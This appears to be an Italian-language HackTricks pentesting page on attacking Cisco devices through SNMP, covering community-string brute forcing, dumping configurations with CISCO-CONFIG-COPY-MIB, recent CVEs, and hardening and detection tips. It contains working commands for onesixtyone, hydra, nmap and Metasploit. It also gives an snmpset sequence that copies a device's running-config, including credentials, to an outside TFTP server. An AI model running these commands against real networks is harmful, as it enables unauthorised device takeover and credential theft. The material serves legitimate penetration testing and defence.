Cisco SNMP

Reading time: 5 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Pentesting Cisco Networks

SNMP funziona su UDP con le porte 161/UDP per messaggi generali e 162/UDP per messaggi di trap. Questo protocollo si basa su community strings, che fungono da "password" in chiaro che abilitano la comunicazione tra agenti e manager SNMP. Queste stringhe determinano il livello di accesso, specificamente permessi di sola lettura (RO) o lettura-scrittura (RW).

Un vettore d'attacco classico—ma ancora estremamente efficace—è forzare le community strings per elevare da utente non autenticato a amministratore del dispositivo (community RW). Uno strumento pratico per questo compito è onesixtyone:

bash
onesixtyone -c community_strings.txt -i targets.txt

Altre opzioni veloci sono lo script NSE di Nmap snmp-brute o il modulo SNMP di Hydra:

bash
nmap -sU -p161 --script snmp-brute --script-args brute.community=wordlist 10.0.0.0/24
hydra -P wordlist.txt -s 161 10.10.10.1 snmp

Dumping configuration through SNMP (CISCO-CONFIG-COPY-MIB)

Se ottieni una comunità RW puoi copiare la running-config/startup-config su un server TFTP/FTP senza accesso CLI abusando del CISCO-CONFIG-COPY-MIB (1.3.6.1.4.1.9.9.96). Due approcci comuni sono:

  1. Nmap NSE – snmp-ios-config
bash
nmap -sU -p161 --script snmp-ios-config \
--script-args creds.snmp=private 192.168.66.1

Lo script orchestran automaticamente l'operazione di copia e stampa la configurazione su stdout.

  1. Sequenza manuale snmpset
bash
# Copy running-config (4) to a TFTP server (1) – random row id 1234
snmpset -v2c -c private 192.168.66.1 \
1.3.6.1.4.1.9.9.96.1.1.1.1.2.1234 i 1 \    # protocol = tftp
1.3.6.1.4.1.9.9.96.1.1.1.1.3.1234 i 4 \    # sourceFileType = runningConfig
1.3.6.1.4.1.9.9.96.1.1.1.1.4.1234 i 1 \    # destFileType   = networkFile
1.3.6.1.4.1.9.9.96.1.1.1.1.5.1234 a 10.10.14.8 \ # TFTP server IP
1.3.6.1.4.1.9.9.96.1.1.1.1.6.1234 s \"backup.cfg\" \\
1.3.6.1.4.1.9.9.96.1.1.1.1.14.1234 i 4       # rowStatus = createAndGo

I identificatori di riga sono one-shot; il riutilizzo entro cinque minuti attiva errori inconsistentValue.

Una volta che il file è sul tuo server TFTP, puoi ispezionare le credenziali (enable secret, username <user> secret, ecc.) o persino inviare una configurazione modificata di nuovo al dispositivo.


Metasploit goodies

  • cisco_config_tftp – scarica running-config/startup-config tramite TFTP dopo aver abusato dello stesso MIB.
  • snmp_enum – raccoglie informazioni sull'inventario del dispositivo, VLAN, descrizioni delle interfacce, tabelle ARP, ecc.
bash
use auxiliary/scanner/snmp/snmp_enum
set RHOSTS 10.10.100.10
set COMMUNITY public
run

Recenti vulnerabilità SNMP Cisco (2023 – 2025)

Tenere traccia degli avvisi dei fornitori è utile per definire le opportunità zero-day-to-n-day all'interno di un ingaggio:

AnnoCVEFunzione interessataImpatto
2025CVE-2025-20174Sottosistema SNMPPacchetto creato porta a DoS autenticato (reload) su IOS/IOS-XE (v1/v2c/v3).
2024CVE-2024-20373Gestione ACL IPv4ACL estese mal configurate falliscono silenziosamente, consentendo il polling SNMP non autenticato quando è nota una community/user valida.
2025(nessun CVE ancora)Bypass della restrizione di configurazione SNMPv3Utente v3 valido può effettuare polling da indirizzi che dovrebbero essere negati.

L'exploitabilità dipende spesso dal possesso della stringa di community o delle credenziali v3—un altro motivo per cui il brute-forcing rimane rilevante.


Suggerimenti per il rafforzamento e la rilevazione

  • Aggiornare a una versione IOS/IOS-XE corretta (vedere l'avviso Cisco per il CVE sopra).
  • Preferire SNMPv3 con authPriv (SHA-256/AES-256) rispetto a v1/v2c.
snmp-server group SECURE v3 priv
snmp-server user monitor SECURE v3 auth sha <authpass> priv aes 256 <privpass>
  • Associare SNMP a un VRF di gestione e limitare con ACL IPv4 numerate standard (le ACL estese nominate sono rischiose – CVE-2024-20373).
  • Disabilitare le community RW; se operativamente necessario, limitarle con ACL e viste: snmp-server community <string> RW 99 view SysView
  • Monitorare per:
  • Picchi UDP/161 o fonti inaspettate (regole SIEM).
  • Eventi CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource che indicano modifiche di configurazione fuori banda.
  • Abilitare il logging SNMPv3 e snmp-server packetsize 1500 per ridurre alcuni vettori DoS.

Riferimenti

  • Cisco: Come copiare configurazioni da e verso dispositivi Cisco utilizzando SNMP
  • Avviso di sicurezza Cisco cisco-sa-snmp-uwBXfqww (CVE-2024-20373)

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks